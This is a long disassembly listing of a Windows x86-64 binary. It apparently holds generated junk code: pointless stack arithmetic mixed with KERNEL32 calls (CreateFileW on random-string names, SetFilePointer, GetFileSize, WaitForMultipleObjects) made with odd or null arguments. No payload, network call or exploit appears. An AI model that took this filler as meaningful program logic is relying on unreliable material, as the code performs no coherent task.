lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2fa9
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x477c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x39dc], eax
mov rax, qword [0x14022b9d0]
movzx eax, byte [rax]
mov byte [0x14022b813], al
mov r9d, 0x6d9
xor r8d, r8d
lea rdx, [rsp + 0x9830]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cf4], ax
lea rcx, [rsp + 0xa680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 2
xor r8d, r8d
mov edx, 0x391f
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47ec], eax
mov rax, qword [rsp + 0xa460]
movzx eax, word [rax]
mov word [rsp + 0x1d80], ax
movzx eax, word [rsp + 0x1ce4]
movzx ecx, word [0x14022b824]
sar eax, cl
mov word [rsp + 0x1cc4], ax
mov rax, qword [rsp + 0xa0f8]
mov rcx, qword [rsp + 0x7540]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ff8], rax
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov eax, dword [0x140229f30]
mov dword [rsp + 0x4888], eax
mov rax, qword [rsp + 0xa4a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa0b8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0xa1f8]
movsx eax, word [rax]
movsx ecx, word [0x140229f50]
add eax, ecx
mov rcx, qword [rsp + 0xa460]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x178c]
add eax, ecx
mov word [0x140229f40], ax
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0x6f78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7820], rax
movzx eax, word [0x14022b9e4]
movzx ecx, word [rsp + 0x1d44]
and eax, ecx
mov word [rsp + 0x1d60], ax
mov eax, dword [rsp + 0x4788]
mov dword [rsp + 0x488c], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x344]
sar eax, cl
mov byte [rsp + 0x307], al
mov rax, qword [rsp + 0xa598]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
sub eax, ecx
mov byte [rsp + 0x133], al
lea rax, [rsp + 0x9870]
mov qword [rsp + 0xa688], rax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4804]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4774], eax
mov rax, qword [rsp + 0xa528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cdc]
and eax, ecx
mov word [rsp + 0xf30], ax
movzx eax, word [rsp + 0x1d50]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022b8d0], ax
mov rax, qword [0x14022ba10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9780]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9de8], rax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0xa620]
mov qword [rsp + 0xa690], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa690]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0x9f00]
movzx eax, word [rax]
mov word [rsp + 0x1d84], ax
movzx eax, word [0x14022b9e4]
movzx ecx, word [rsp + 0x1cc8]
xor eax, ecx
mov rcx, qword [rsp + 0xa430]
mov word [rcx], ax
lea rax, [rsp + 0x9430]
mov qword [rsp + 0xa698], rax
mov rax, qword [rsp + 0xa210]
mov ecx, dword [rsp + 0x4778]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4864], eax
mov rax, qword [0x14022b9d0]
movzx eax, byte [rax]
mov byte [rsp + 0x373], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.iYpmt50ei7YLwBvqU5coAYhHAbVIaZW4vhFrg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa6a0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4465
mov rcx, qword [rsp + 0xa248]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0xa078]
mov rcx, qword [rsp + 0x9be8]
mov qword [rsp + 0xa6a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6a8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9c78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa1f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d28]
add eax, ecx
mov word [0x140229fa8], ax
movzx eax, word [rsp + 0x1cc8]
movzx ecx, word [rsp + 0x1cc0]
add eax, ecx
mov word [rsp + 0x1ce4], ax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x147]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x9fc0]
mov rcx, qword [rsp + 0x9be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4748], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x8db8]
mov qword [rsp + 0xa6b0], rax
mov eax, dword [rsp + 0x4270]
movzx ecx, al
mov eax, dword [rsp + 0x474c]
shr eax, cl
mov rcx, qword [rsp + 0xa518]
mov dword [rcx], eax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e28]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5a8]
mov rcx, qword [rsp + 0x9430]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9398], rax
lea rcx, [rsp + 0xa6b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x46b0]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4770], eax
movsx eax, word [rsp + 0x1d80]
mov rcx, qword [0x14022b8b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d5c], ax
lea rcx, [rsp + 0xa6c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x4794]
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47e8], eax
lea rax, [rsp + 0x1cbc]
mov qword [0x14022ba30], rax
mov rax, qword [rsp + 0x8640]
mov qword [rsp + 0xa6c8], rax
movzx eax, word [rsp + 0x1d2c]
movzx ecx, word [rsp + 0x1ca4]
and eax, ecx
mov word [rsp + 0x1cac], ax
mov rax, qword [0x14022b9c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa558]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa08], ax
lea rcx, [rsp + 0xa6b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x7e78]
mov qword [rsp + 0xa6d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.xrnKXKsoQHQwpiUej03q
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa6d8], rax
movsx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x36e], al
mov r9d, 0x18bc
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47bc], eax
lea rax, [rsp + 0x8c20]
mov qword [rsp + 0xa6e0], rax
mov rax, qword [rsp + 0xa250]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b40]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4834], eax
movzx eax, word [rsp + 0x884]
movzx ecx, word [rsp + 0x1d70]
sar eax, cl
mov rcx, qword [rsp + 0xa338]
mov word [rcx], ax
mov rax, qword [rsp + 0xa218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8330]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b38]
mov eax, dword [rax]
mov dword [rsp + 0x4890], eax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0x1eb]
add eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16b4], ax
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1cb4]
add eax, ecx
mov word [rsp + 0x1d50], ax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4718]
mov dword [rsp + 0x4894], eax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa150]
mov qword [rsp + 0xa6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6e8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9c08]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x34c]
movsx ecx, byte [rsp + 0x364]
sub eax, ecx
mov byte [rsp + 0x351], al
mov rax, qword [rsp + 0xa030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9f8], ax
movzx eax, word [rsp + 0x1d00]
mov word [0x14022ba38], ax
mov rax, qword [0x140229fa0]
mov rcx, qword [rsp + 0xa448]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa240]
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0xa6b0]
movzx ecx, al
mov rax, qword [rsp + 0x8a18]
shl rax, cl
mov rcx, qword [rsp + 0xa2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa510]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9f8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3305
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4898], eax
mov rax, qword [rsp + 0x9b08]
mov qword [rsp + 0xa6f8], rax
mov eax, dword [rsp + 0x479c]
movzx ecx, al
mov eax, dword [rsp + 0x4838]
shr eax, cl
mov dword [rsp + 0x41b0], eax
lea rax, [rsp + 0x373]
mov qword [rsp + 0xa700], rax
mov eax, dword [rsp + 0x4674]
mov ecx, dword [rsp + 0x47a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x39f0], eax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0x36a], al
movsx eax, word [rsp + 0x1cd4]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f6c], ax
lea rax, [rsp + 0x1ce4]
mov qword [rsp + 0xa708], rax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
add eax, ecx
mov word [rsp + 0x1ce4], ax
lea rax, [rsp + 0xa038]
mov qword [rsp + 0xa710], rax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa2a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ff8], rax
movsx eax, byte [rsp + 0x351]
movsx ecx, byte [rsp + 0x366]
sar eax, cl
mov byte [rsp + 0x359], al
mov eax, dword [rsp + 0x447c]
mov ecx, dword [0x140229f2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d04], eax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cd4], ax
lea rax, [rsp + 0x9f4]
mov qword [rsp + 0xa718], rax
mov rax, qword [0x14022b888]
mov rcx, qword [rsp + 0x7fd8]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x140229fb0], rax
mov rax, qword [rsp + 0xa238]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d00]
shl eax, cl
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cd8]
mov qword [rsp + 0xa720], rax
mov rax, qword [rsp + 0xa4a8]
mov rax, qword [rax]
mov rcx, qword [0x140229f70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [rsp + 0x9ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7458], rax
mov eax, dword [rsp + 0x4764]
mov rcx, qword [rsp + 0xa028]
mov qword [rsp + 0xa728], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x44dc], eax
movzx eax, byte [rsp + 0x347]
movzx ecx, byte [rsp + 0x147]
add eax, ecx
mov byte [rsp + 0x36d], al
mov r9d, 0x1ae6
xor r8d, r8d
lea rdx, [rsp + 0x9ef8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4854], eax
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov dword [rsp + 0x489c], eax
movsx eax, byte [rsp + 0x364]
movsx ecx, byte [rsp + 0x6a]
cdq
idiv ecx
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x16dc]
and eax, ecx
mov word [0x14022b988], ax
movsx eax, word [rsp + 0x1268]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9f8], ax
movzx eax, word [rsp + 0x9f4]
mov word [rsp + 0x1d88], ax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa430]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x884], ax
lea rax, [rsp + 0x188]
mov qword [rsp + 0xa730], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0xa4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8050], rax
mov eax, dword [rsp + 0x4888]
mov ecx, dword [rsp + 0x479c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
lea rax, [rsp + 0x86c]
mov qword [rsp + 0xa738], rax
mov rax, qword [rsp + 0xa168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a90]
sar eax, cl
mov word [rsp + 0x1ca4], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x9eb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14022b870]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [0x14022b980]
mov qword [rsp + 0xa740], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa740]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0x83f0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9420], rax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa038]
mov qword [rsp + 0xa748], rax
movzx eax, word [rsp + 0x1d08]
movzx ecx, word [rsp + 0x1a94]
or eax, ecx
mov word [rsp + 0x1ca4], ax
mov rax, qword [rsp + 0x9b38]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf3]
sub eax, ecx
mov byte [rsp + 0x310], al
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x371]
and eax, ecx
mov byte [rsp + 0x367], al
lea rdx, [rsp + 0x4854]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0xa400]
mov qword [rsp + 0xa750], rax
mov eax, dword [rsp + 0x473c]
mov dword [0x14022ba3c], eax
movsx eax, word [0x140229fa8]
movsx ecx, word [rsp + 0x1518]
sar eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
movsx eax, word [rsp + 0x1c9c]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa1a8]
mov word [rcx], ax
movzx eax, word [0x140229f98]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1938], ax
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2b0]
mov rcx, qword [rsp + 0x8180]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x83f0], rax
movzx eax, byte [rsp + 0x355]
mov byte [rsp + 0x374], al
mov eax, dword [rsp + 0x4484]
mov ecx, dword [0x140229f2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4774], eax
lea rdx, [rsp + 0x4724]
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48a4], eax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa400]
shr rax, cl
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0xa1f8]
movzx eax, word [rax]
mov word [rsp + 0x1d8c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc1e8
mov rcx, qword [rsp + 0xa658]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4648], eax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14022b9b0]
mov word [rcx], ax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9be8]
mov qword [rsp + 0xa758], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa758]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7300], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.jvUsMbWDKJ9JuqKgSLzCh0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa760], rax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
mov rcx, qword [0x14022b9d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x177c], ax
mov eax, dword [rsp + 0x3b5c]
mov ecx, dword [rsp + 0x4788]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3e0]
mov rax, qword [rax]
mov qword [rsp + 0xa768], rax
mov rcx, qword [rsp + 0x9f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x482c]
mov ecx, dword [rsp + 0x475c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa230]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xa4]
movsx ecx, byte [rsp + 0x364]
and eax, ecx
mov byte [rsp + 0x25f], al
movsx eax, word [rsp + 0x1d20]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ce8], ax
lea rax, [rsp + 0x1d74]
mov qword [0x14022ba40], rax
lea rax, [rsp + 0x9d58]
mov qword [rsp + 0xa770], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9d58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa078], rax
lea rdx, [rsp + 0x4740]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47d8], eax
mov rax, qword [rsp + 0xa1d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17d8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1c7c]
mov qword [rsp + 0xa778], rax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa120]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x342], al
mov eax, dword [rsp + 0x41ec]
mov dword [rsp + 0x48a8], eax
lea rdx, [rsp + 0x45ec]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47f8], eax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x8500]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0xa4a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1d3c]
mov qword [0x14022ba48], rax
movzx eax, word [rsp + 0x1cbc]
mov word [rsp + 0x1d90], ax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x28e]
xor eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
lea rax, [rsp + 0x4818]
mov qword [rsp + 0xa780], rax
mov rax, qword [rsp + 0x9fb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bf8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2b0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x34d]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa730]
mov byte [rcx], al
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0xa788], rax
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x473c]
shr eax, cl
mov rcx, qword [rsp + 0xa230]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.7BuviNk3Lo7ypTtKHm0avVzwjE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa790], rax
movsx eax, word [0x14022b9e0]
movsx ecx, word [rsp + 0x1c90]
sub eax, ecx
mov word [rsp + 0xdd8], ax
movzx eax, word [rsp + 0x19bc]
movzx ecx, word [rsp + 0x888]
sub eax, ecx
mov rcx, qword [0x14022ba40]
mov word [rcx], ax
mov rax, qword [0x140229f70]
mov rcx, qword [rsp + 0x7278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa280], rax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov word [rsp + 0x1d94], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa738]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9198]
sar rax, cl
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x7420]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8530], rax
mov r9d, 0x47c
xor r8d, r8d
lea rdx, [rsp + 0x9948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4794], eax
mov rax, qword [rsp + 0xa190]
mov rcx, qword [0x14022b9f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47e4], eax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
mov byte [rsp + 0x375], al
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1d4c]
sub eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa068]
mov rax, qword [rax]
mov qword [0x14022ba50], rax
mov rax, qword [rsp + 0x9bb0]
mov rcx, qword [rsp + 0x99c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4674], eax
movzx eax, byte [rsp + 0x36d]
mov byte [rsp + 0x376], al
mov rax, qword [rsp + 0x9b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa510]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1d84], ax
mov rax, qword [0x14022b9a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1aec]
shl eax, cl
mov word [rsp + 0x1bb4], ax
movsx eax, byte [rsp + 0x6a]
movsx ecx, byte [rsp + 0x368]
imul eax, ecx
mov byte [rsp + 0x169], al
mov eax, dword [rsp + 0x47b4]
movzx ecx, al
mov eax, dword [rsp + 0x4278]
shr eax, cl
mov rcx, qword [rsp + 0xa108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov qword [rsp + 0xa798], rax
movsx eax, word [rsp + 0x1d30]
movsx ecx, word [rsp + 0x1d14]
sub eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov word [rcx], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa148]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022b850], ax
mov rax, qword [rsp + 0xa080]
mov rcx, qword [rsp + 0xa570]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7350], rax
mov rax, qword [rsp + 0xa080]
mov rcx, qword [rsp + 0x9ca8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a20], rax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa180]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa628]
movzx eax, word [rax]
mov word [rsp + 0x1d98], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov eax, dword [0x140229f2c]
mov rcx, qword [rsp + 0x96e0]
mov qword [rsp + 0xa7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa390]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7770], rax
mov rax, qword [rsp + 0xa308]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x348], al
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0x9be0]
mov ecx, dword [rsp + 0x483c]
mov eax, dword [rax]
xor eax, ecx
